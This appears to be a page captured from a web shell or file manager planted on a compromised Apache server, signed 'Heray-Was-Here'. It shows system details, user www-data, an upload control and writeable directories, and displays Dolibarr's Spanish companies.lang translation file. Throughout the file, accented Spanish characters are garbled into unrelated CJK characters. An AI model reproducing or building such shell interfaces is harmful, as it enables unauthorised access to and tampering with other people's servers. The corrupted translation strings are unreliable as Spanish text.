Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/langs/es_ES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/langs/es_ES/companies.lang
# Dolibarr language file - Source file is en_US - companies
ErrorCompanyNameAlreadyExists=El nombre de la empresa %s ya existe. Indique otro.
ErrorSetACountryFirst=Defina en primer lugar el pa铆s
SelectThirdParty=Seleccionar un tercero
ConfirmDeleteCompany=驴Est谩 seguro de que desea eliminar esta empresa y toda la informaci贸n relacionada?
DeleteContact=Eliminar un contacto
ConfirmDeleteContact=驴Est谩 seguro de que desea eliminar este contacto y toda la informaci贸n relacionada?
MenuNewThirdParty=Nuevo tercero
MenuNewCustomer=Nuevo cliente
MenuNewProspect=Nuevo cliente potencial
MenuNewSupplier=Nuevo proveedor
MenuNewPrivateIndividual=Nuevo particular
NewCompany=Nueva empresa (cliente potencial, cliente, proveedor)
NewThirdParty=Nuevo tercero (cliente potencial, cliente, proveedor)
CreateDolibarrThirdPartySupplier=Crear un tercero (proveedor)
CreateThirdPartyOnly=Crear tercero
CreateThirdPartyAndContact=Crear un tercero + un contacto
ProspectionArea=脕rea de prospecci贸n
IdThirdParty=ID tercero
IdCompany=Id empresa
IdContact=Id contacto
ThirdPartyAddress=Direcci贸n de terceros
ThirdPartyContacts=Contactos terceros
ThirdPartyContact=Contactos/direcciones terceros
Company=Empresa
CompanyName=Raz贸n social
AliasNames=Apodo (comercial, marca registrada, ...)
AliasNameShort=Apodo
Companies=Empresas
CountryIsInEEC=Pa铆s dentro de la Comunidad Econ贸mica Europea
PriceFormatInCurrentLanguage=Formato de visualizaci贸n del precio en el idioma y moneda actual.
ThirdPartyName=Nombre del tercero
ThirdPartyEmail=E-mail tercero
ThirdParty=Tercero
ThirdParties=Terceros
ThirdPartyProspects=Clientes potenciales
ThirdPartyProspectsStats=Clientes potenciales
ThirdPartyCustomers=Clientes
ThirdPartyCustomersStats=Clientes
ThirdPartyCustomersWithIdProf12=Clientes con %s 贸 %s
ThirdPartySuppliers=Proveedores
ThirdPartyType=Tipo de tercero
Individual=Particular
ToCreateContactWithSameName=Crear谩 autom谩ticamente un contacto/direcci贸n en el tercero con la misma informaci贸n que el tercero. En la mayor铆a de los casos, aunque el tercero sea una persona f铆sica, creando solo el tercero ser谩 suficiente.
ParentCompany=Sede central
Subsidiaries=Filiales
ReportByMonth=Informe por mes
ReportByCustomers=Informe por cliente
ReportByThirdparties=Informe por tercero
ReportByQuarter=Informe por tasa
CivilityCode=C贸digo cortes铆a
RegisteredOffice=Domicilio social
Lastname=Apellidos
Firstname=Nombre
RefEmployee=Referencia del empleado
NationalRegistrationNumber=N煤mero de registro nacional
PostOrFunction=Puesto de trabajo
UserTitle=T铆tulo de cortes铆a
NatureOfThirdParty=Naturaleza del tercero
NatureOfContact=Naturaleza del contacto
Address=Direcci贸n
State=Provincia
StateId=ID Estado
StateCode=C贸digo de estado/provincia
StateShort=Estado
Region=Regi贸n
Region-State=Regi贸n - Estado
Country=Pa铆s
CountryCode=C贸digo pa铆s
CountryId=ID Pa铆s
Phone=Tel茅fono
PhoneShort=Tel茅fono
Skype=Skype
Call=Llamar
Chat=Chat
PhonePro=Tel茅f. trabajo
PhonePerso=Tel茅f. particular
PhoneMobile=M贸vil
No_Email=Rechazar e-mails masivos
Fax=Fax
Zip=C贸digo postal
Town=Poblaci贸n
Web=Web
Poste= Puesto
DefaultLang=Idioma predeterminado
VATIsUsed=Sujeto a IVA
VATIsUsedWhenSelling=Esto define si este tercero incluye un impuesto a la venta o no cuando realiza una factura a sus propios clientes
VATIsNotUsed=IVA no est谩 siendo usado
CopyAddressFromSoc=Copiar direcci贸n de la empresa
ThirdpartyNotCustomerNotSupplierSoNoRef=Tercero que no es cliente ni proveedor, sin objetos referenciados
ThirdpartyIsNeitherCustomerNorClientSoCannotHaveDiscounts=Tercero que no es cliente ni proveedor, descuentos no disponibles
PaymentBankAccount=Cuenta bancaria de pago
OverAllProposals=Presupuestos
OverAllOrders=Pedidos
OverAllInvoices=Facturas
OverAllSupplierProposals=Presupuestos
##### Local Taxes #####
LocalTax1IsUsed=Usar segunda tasa
LocalTax1IsUsedES= Sujeto a RE
LocalTax1IsNotUsedES= No sujeto a RE
LocalTax2IsUsed=Usar tasa tercero
LocalTax2IsUsedES= Sujeto a IRPF
LocalTax2IsNotUsedES= No sujeto a IRPF
WrongCustomerCode=C贸digo cliente incorrecto
WrongSupplierCode=C贸digo proveedor incorrecto
CustomerCodeModel=Modelo de c贸digo cliente
SupplierCodeModel=Modelo de c贸digo proveedor
Gencod=C贸digo de barras
GencodBuyPrice=C贸digo de barras de precio ref
##### Professional ID #####
ProfId1Short=Prof. id 1
ProfId2Short=Prof. id 2
ProfId3Short=Prof. id 3
ProfId4Short=Prof. id 4
ProfId5Short=Prof. id 5
ProfId6Short=Prof. id 6
ProfId1=ID profesional 1
ProfId2=ID profesional 2
ProfId3=ID profesional 3
ProfId4=ID profesional 4
ProfId5=ID profesional 5
ProfId6=ID profesional 6
ProfId1AR=CUIT/CUIL
ProfId2AR=Ingresos brutos
ProfId3AR=-
ProfId4AR=-
ProfId5AR=-
ProfId6AR=-
ProfId1AT=Prof Id 1 (USt.-IdNr)
ProfId2AT=Prof Id 2 (USt.-Nr)
ProfId3AT=Prof Id 3 (Handelsregister-Nr.)
ProfId4AT=-
ProfId5AT=N煤mero EORI
ProfId6AT=-
ProfId1AU=ABN
ProfId2AU=-
ProfId3AU=-
ProfId4AU=-
ProfId5AU=-
ProfId6AU=-
ProfId1BE=N掳 colegiado
ProfId2BE=-
ProfId3BE=-
ProfId4BE=-
ProfId5BE=N煤mero EORI
ProfId6BE=-
ProfId1BR=-
ProfId2BR=IE (Inscricao Estadual)
ProfId3BR=IM (Inscricao Municipal)
ProfId4BR=CPF
#ProfId5BR=CNAE
#ProfId6BR=INSS
ProfId1CH=N煤mero UID
ProfId2CH=-
ProfId3CH=N煤mero federado
ProfId4CH=Num registro de comercio
ProfId5CH=N煤mero EORI
ProfId6CH=-
ProfId1CL=R.U.T.
ProfId2CL=-
ProfId3CL=-
ProfId4CL=-
ProfId5CL=-
ProfId6CL=-
ProfId1CM=Identificaci贸n. profe. 1 (Registro Mercantil)
ProfId2CM=Identificaci贸n. profe. 2 (N煤mero de Identificaci贸n Fiscal )
ProfId3CM=Identificaci贸n. prof. 3 (N潞 de Decreto de creaci贸n)
ProfId4CM=Identificaci贸n. profe. 4 (Certificado de dep贸sito No.)
ProfId5CM=Identificaci贸n. profe. 5 (Otros)
ProfId6CM=-
ProfId1ShortCM=Registro Mercantil
ProfId2ShortCM=NIF (N煤mero de Identificaci贸n Fiscal)
ProfId3ShortCM=N潞 de decreto de creaci贸n
ProfId4ShortCM=Certificado de dep贸sito No.
ProfId5ShortCM=Otros
ProfId6ShortCM=-
ProfId1CO=R.U.T.
ProfId2CO=-
ProfId3CO=-
ProfId4CO=-
ProfId5CO=-
ProfId6CO=-
ProfId1DE=Id prof. 1 (USt.-IdNr)
ProfId2DE=Id prof. 2 (USt.-Nr)
ProfId3DE=Id prof. 3 (Handelsregister-Nr.)
ProfId4DE=-
ProfId5DE=N煤mero EORI
ProfId6DE=-
ProfId1ES=CIF/NIF
ProfId2ES=N煤m. seguridad social
ProfId3ES=CNAE
ProfId4ES=N煤m. colegiado
ProfId5ES=Prof Id 5 (n煤mero EORI)
ProfId6ES=-
ProfId1FR=SIREN
ProfId2FR=SIRET
ProfId3FR=NAF (Ex APE)
ProfId4FR=RCS/RM
ProfId5FR=Prof Id 5 (num茅ro EORI)
ProfId6FR=-
ProfId1ShortFR=SIREN
ProfId2ShortFR=SIRET
ProfId3ShortFR=NAF
ProfId4ShortFR=RCS
ProfId5ShortFR=EORI
ProfId6ShortFR=-
ProfId1GB=N煤mero registro
ProfId2GB=-
ProfId3GB=SIC
ProfId4GB=-
ProfId5GB=-
ProfId6GB=-
ProfId1HN=RTN
ProfId2HN=-
ProfId3HN=-
ProfId4HN=-
ProfId5HN=-
ProfId6HN=-
ProfId1IN=Id prof. 1 (TIN)
ProfId2IN=Id prof. 2
ProfId3IN=Id prof. 3
ProfId4IN=Id prof. 4
ProfId5IN=Id prof. 5
ProfId6IN=-
ProfId1IT=-
ProfId2IT=-
ProfId3IT=-
ProfId4IT=-
ProfId5IT=N煤mero EORI
ProfId6IT=-
ProfId1LU=Id. prof. 1 (R.C.S. Luxembourg)
ProfId2LU=Id. prof. 2 (Business permit)
ProfId3LU=-
ProfId4LU=-
ProfId5LU=N煤mero EORI
ProfId6LU=-
ProfId1MA=Id prof. 1 (R.C.)
ProfId2MA=Id prof. 2 (Patente)
ProfId3MA=Id prof. 3 (I.F.)
ProfId4MA=Id prof. 4 (C.N.S.S.)
ProfId5MA=Id prof. 5 (I.C.E.)
ProfId6MA=-
ProfId1MX=R.F.C.
ProfId2MX=Registro Patronal IMSS
ProfId3MX=C茅dula Profesional
ProfId4MX=-
ProfId5MX=-
ProfId6MX=-
ProfId1NL=N煤mero KVK
ProfId2NL=-
ProfId3NL=-
ProfId4NL=-
ProfId5NL=N煤mero EORI
ProfId6NL=-
ProfId1PT=NIPC
ProfId2PT=N煤m. seguridad social
ProfId3PT=Num reg. comercial
ProfId4PT=Conservatorio
ProfId5PT=Prof Id 5 (n煤mero EORI)
ProfId6PT=-
ProfId1SN=RC
ProfId2SN=NINEA
ProfId3SN=-
ProfId4SN=-
ProfId5SN=-
ProfId6SN=-
ProfId1TN=RC
ProfId2TN=Matr铆cula fiscal
ProfId3TN=C贸digo en aduana
ProfId4TN=CCC
ProfId5TN=-
ProfId6TN=-
ProfId1US=Prof Id (FEIN)
ProfId2US=-
ProfId3US=-
ProfId4US=-
ProfId5US=-
ProfId6US=-
ProfId1RO=CUI
ProfId2RO=Prof ID 2 (Numero de registro)
ProfId3RO=CAEN
ProfId4RO=EUID
ProfId5RO=Prof Id 5 (n煤mero EORI)
ProfId6RO=-
ProfId1RU=OGRN
ProfId2RU=INN
ProfId3RU=KPP
ProfId4RU=OKPO
ProfId5RU=-
ProfId6RU=-
ProfId1UA=EDRPOU
ProfId2UA=DRFO
ProfId3UA=INN
ProfId4UA=Certificado
ProfId5UA=RNOKPP
ProfId6UA=TRDPAU
ProfId1DZ=RC
ProfId2DZ=Art.
ProfId3DZ=NIF
ProfId4DZ=NIS
VATIntra=CIF Intra.
VATIntraShort=CIF intra.
VATIntraSyntaxIsValid=Sintaxis v谩lida
VATReturn=Devoluci贸n IVA
ProspectCustomer=Cliente potencial/Cliente
Prospect=Cliente potencial
CustomerCard=Ficha cliente
Customer=Cliente
CustomerRelativeDiscount=Descuento cliente relativo
SupplierRelativeDiscount=Descuento proveedor relativo
CustomerRelativeDiscountShort=Descuento relativo
CustomerAbsoluteDiscountShort=Descuento fijo
CompanyHasRelativeDiscount=Este cliente tiene un descuento por defecto de <b>%s%%</b>
CompanyHasNoRelativeDiscount=Este cliente no tiene descuentos relativos por defecto
HasRelativeDiscountFromSupplier=Tiene un descuento predeterminado de <b> %s%%</b> en este proveedor
HasNoRelativeDiscountFromSupplier=No tiene descuento relativo predeterminado en este proveedor
CompanyHasAbsoluteDiscount=Este cliente tiene <b>%s %s</b> en descuentos (abonos o anticipos) disponibles
CompanyHasDownPaymentOrCommercialDiscount=Este cliente tiene descuentos disponibles (anticipos, comerciales) para <b>%s</b> %s
CompanyHasCreditNote=Este cliente tiene <b>%s %s</b> en anticipos disponibles
HasNoAbsoluteDiscountFromSupplier=No tiene cr茅dito de descuento disponible en este proveedor
HasAbsoluteDiscountFromSupplier=Tiene descuentos disponibles (notas de cr茅ditos o anticipos) para <b> %s </b> %s en este proveedor
HasDownPaymentOrCommercialDiscountFromSupplier=Tiene descuentos disponibles (comerciales, anticipos) para <b> %s </b> %s en este proveedor
HasCreditNoteFromSupplier=Tiene abonos para <b> %s </b> %s en este proveedor
CompanyHasNoAbsoluteDiscount=Este cliente no tiene m谩s descuentos fijos disponibles
CustomerAbsoluteDiscountAllUsers=Descuentos fijos a clientes (acordado por todos los usuarios)
CustomerAbsoluteDiscountMy=Descuentos fijos a clientes (acordados personalmente)
SupplierAbsoluteDiscountAllUsers=Descuentos fijos de proveedores (acordado por todos los usuarios)
SupplierAbsoluteDiscountMy=Descuentos fijos de proveedores (acordados personalmente)
DiscountNone=Ninguna
Vendor=Proveedor
Supplier=Proveedor
AddContact=Crear contacto
AddContactAddress=Crear contacto/direcci贸n
EditContact=Editar contacto
EditContactAddress=Editar contacto/direcci贸n
Contact=Contacto/Direcci贸n
Contacts=Contactos
ContactId=Id contacto
ContactsAddresses=Contactos/Direcciones
FromContactName=Nombre:
NoContactDefinedForThirdParty=Ning煤n contacto definido para este tercero
NoContactDefined=Ning煤n contacto definido
DefaultContact=Contacto por defecto
ContactByDefaultFor=Contacto/direcci贸n por defecto para
AddThirdParty=Crear tercero
DeleteACompany=Eliminar una empresa
PersonalInformations=Informaci贸n personal
AccountancyCode=Cuenta contable
CustomerCode=C贸digo cliente
SupplierCode=C贸digo proveedor
CustomerCodeShort=C贸d. cliente
SupplierCodeShort=C贸d. proveedor
CustomerCodeDesc=C贸digo cliente, 煤nico para todos los clientes
SupplierCodeDesc=C贸digo proveedor, 煤nico para todos los proveedores
RequiredIfCustomer=Requerida si el tercero es un cliente o cliente potencial
RequiredIfSupplier=Requerida si el tercero es un proveedor
ValidityControledByModule=Validaci贸n controlada por el m贸dulo
ThisIsModuleRules=Reglas para este m贸dulo.
ProspectToContact=Cliente potencial a contactar
CompanyDeleted=La empresa "%s" ha sido eliminada
ListOfContacts=Listado de contactos
ListOfContactsAddresses=Listado de contactos
ListOfThirdParties=Listado de terceros
ShowCompany=Tercero
ShowContact=Contacto/Direcci贸n
ContactsAllShort=Todos (sin filtro)
ContactType=Rol de contacto
ContactForOrders=Contacto de pedidos
ContactForOrdersOrShipments=Contacto de pedidos o env铆os
ContactForProposals=Contacto de presupuestos
ContactForContracts=Contacto de contratos
ContactForInvoices=Contacto de facturas
NoContactForAnyOrder=Este contacto no es contacto de ning煤n pedido
NoContactForAnyOrderOrShipments=Este contacto no es contacto de ning煤n pedido o env铆o
NoContactForAnyProposal=Este contacto no es contacto de ning煤n presupuesto
NoContactForAnyContract=Este contacto no es contacto de ning煤n contrato
NoContactForAnyInvoice=Este contacto no es contacto de ninguna factura
NewContact=Nuevo contacto
NewContactAddress=Nuevo Contacto/Direcci贸n
MyContacts=Mis contactos
Capital=Capital
CapitalOf=Capital de %s
EditCompany=Modificar empresa
ThisUserIsNot=Este usuario no es un cliente potencial, cliente o proveedor
VATIntraCheck=Verificar
VATIntraCheckDesc=El CIF Intracomunitario debe de incluir el prefijo del pa铆s. El enlace <b>%s</b> permite consultar al servicio europeo de control de n煤meros de IVA intracomunitario (VIES). Se requiere acceso a internet para que el servicio funcione.
VATIntraCheckURL=http://ec.europa.eu/taxation_customs/vies/vieshome.do
VATIntraCheckableOnEUSite=Verificar el CIF/NIF intracomunitario en la web de la Comisi贸n Europea
VATIntraManualCheck=Tambi茅n puede consultar manualmente en el sitio web de la Comisi贸n Europea <a href="%s" target="_blank" rel="noopener noreferrer">%s</a>
ErrorVATCheckMS_UNAVAILABLE=Comprobaci贸n imposible. El servicio de comprobaci贸n no es prestado por el pa铆s pa铆s miembro (%s).
NorProspectNorCustomer=Ni cliente, ni cliente potencial
JuridicalStatus=Tipo de entidad comercial
Workforce=Personal
Staff=Empleados
ProspectLevelShort=Potencial
ProspectLevel=Cliente potencial
ContactPrivate=Privado
ContactPublic=Compartido
ContactVisibility=Visibilidad
ContactOthers=Otro
OthersNotLinkedToThirdParty=Otros, no enlazado a un tercero
ProspectStatus=Estado cliente potencial
PL_NONE=Ninguno
PL_UNKNOWN=Desconocido
PL_LOW=Bajo
PL_MEDIUM=Medio
PL_HIGH=Alto
TE_UNKNOWN=-
TE_STARTUP=Startup
TE_GROUP=Gran empresa
TE_MEDIUM=PYME
TE_ADMIN=Administraci贸n
TE_SMALL=TPE
TE_RETAIL=Minorista
TE_WHOLE=Mayorista
TE_PRIVATE=Particular
TE_OTHER=Otro
StatusProspect-1=No contactar
StatusProspect0=Nunca contactado
StatusProspect1=A contactar
StatusProspect2=Contacto en curso
StatusProspect3=Contacto realizado
ChangeDoNotContact=Cambiar el estado a 'No contactar'
ChangeNeverContacted=Cambiar el estado a 'Nunca contactado'
ChangeToContact=Cambiar el estado a 'A contactar'
ChangeContactInProcess=Cambiar el estado a 'Contacto en curso'
ChangeContactDone=Cambiar el estado a 'Contacto realizado'
ProspectsByStatus=Clientes potenciales por estado
NoParentCompany=Ninguna
ExportCardToFormat=Exportar ficha a formato
ContactNotLinkedToCompany=Contacto no vinculado a un tercero
DolibarrLogin=Login usuario
NoDolibarrAccess=Sin acceso de usuario
ExportDataset_company_1=Terceros (Empresas / asociaciones / particulares) y propiedades
ExportDataset_company_2=Contactos y sus propiedades
ImportDataset_company_1=Terceros y sus propiedades.
ImportDataset_company_2=Contactos/Direcciones adicionales de Terceros y campos adicionales
ImportDataset_company_3=Cuentas bancarias de terceros
ImportDataset_company_4=Comerciales de terceros (asigna comerciales/usuarios a terceros)
PriceLevel=Nivel de precios
PriceLevelLabels=Etiquetas de Nivel de Precio
DeliveryAddress=Direcci贸n de env铆o
AddAddress=A帽adir direcci贸n
SupplierCategory=Categor铆a de proveedor
JuridicalStatus200=Independiente
DeleteFile=Eliminaci贸n de un archivo
ConfirmDeleteFile=驴Est谩 seguro de querer eliminar este archivo?
AllocateCommercial=Asignado a comercial
Organization=Organismo
FiscalYearInformation=Informaci贸n del a帽o fiscal
FiscalMonthStart=Mes de inicio de ejercicio
SocialNetworksInformation=Redes sociales
SocialNetworksFacebookURL=URL de Facebook
SocialNetworksTwitterURL=URL de Twitter
SocialNetworksLinkedinURL=URL de Linkedin
SocialNetworksInstagramURL=URL de Instagram
SocialNetworksYoutubeURL=URL de YouTube
SocialNetworksGithubURL=URL de Github
YouMustAssignUserMailFirst=Primero debes asignar un e-mail para este usuario para poder a帽adirlo en notificaciones de e-mail.
YouMustCreateContactFirst=Para poder a帽adir notificaciones por e-mail, primero debe definir contactos con e-mails v谩lidos en el tercero
ListSuppliersShort=Listado de proveedores
ListProspectsShort=Listado de clientes potenciales
ListCustomersShort=Listado de clientes
ThirdPartiesArea=脕rea terceros y contactos
LastModifiedThirdParties=脷ltimos terceros %s que fueron modificados
UniqueThirdParties=N煤mero total de terceros
InActivity=Activo
ActivityCeased=Cerrado
ThirdPartyIsClosed=El tercero est谩 cerrado
ProductsIntoElements=Lista de productos / servicios asignados a %s
CurrentOutstandingBill=Riesgo alcanzado
OutstandingBill=Importe m谩ximo para facturas pendientes
OutstandingBillReached=Importe m谩ximo para facturas pendientes
OrderMinAmount=Importe m铆nimo para pedido
MonkeyNumRefModelDesc=Devuelve un n煤mero con el formato %syymm-nnnn para el c贸digo de cliente y %syymm-nnnn para el c贸digo de proveedor donde aa es el a帽o, mm es el mes y nnnn es un n煤mero secuencial de incremento autom谩tico sin interrupci贸n y sin retorno a 0.
LeopardNumRefModelDesc=C贸digo de cliente/proveedor libre sin verificaci贸n. Puede ser modificado en cualquier momento.
ManagingDirectors=Administrador(es) (CEO, director, presidente, etc.)
MergeOriginThirdparty=Tercero duplicado (tercero que debe eliminar)
MergeThirdparties=Fusionar terceros
ConfirmMergeThirdparties=驴Est谩 seguro de que desea fusionar el tercero elegido con el actual? Todos los objetos vinculados (facturas, pedidos, ...) se mover谩n al tercero actual, despu茅s de lo cual se eliminar谩 el tercero elegido.
ThirdpartiesMergeSuccess=Los terceros han sido fusionados
SaleRepresentativeLogin=Inicio de sesi贸n del comercial
SaleRepresentativeFirstname=Nombre del comercial
SaleRepresentativeLastname=Apellidos del comercial
ErrorThirdpartiesMerge=Se produjo un error al eliminar los terceros. Por favor, compruebe el log. Los cambios han sido anulados.
NewCustomerSupplierCodeProposed=C贸digo de cliente o proveedor ya utilizado, se sugiere un nuevo c贸digo
KeepEmptyIfGenericAddress=Deje este campo vac铆o si la direcci贸n es una direcci贸n gen茅rica
#Imports
PaymentTypeCustomer=Tipo de pago - Cliente
PaymentTermsCustomer=Condiciones de pago - Cliente
PaymentTypeSupplier=Tipo de pago - Proveedor
PaymentTermsSupplier=Condiciones de pago - Proveedor
PaymentTypeBoth=Tipo de pago: cliente y proveedor
MulticurrencyUsed=Usar Multimoneda
MulticurrencyCurrency=Divisa
InEEC=Europa (CEE)
RestOfEurope=Resto de Europa (CEE)
OutOfEurope=Fuera de Europa (CEE)
CurrentOutstandingBillLate=Factura actual pendiente con retraso
BecarefullChangeThirdpartyBeforeAddProductToInvoice=Tenga cuidado, dependiendo de la configuraci贸n del precio de su producto, debe cambiar de tercero antes de agregar el producto al POS.

Hry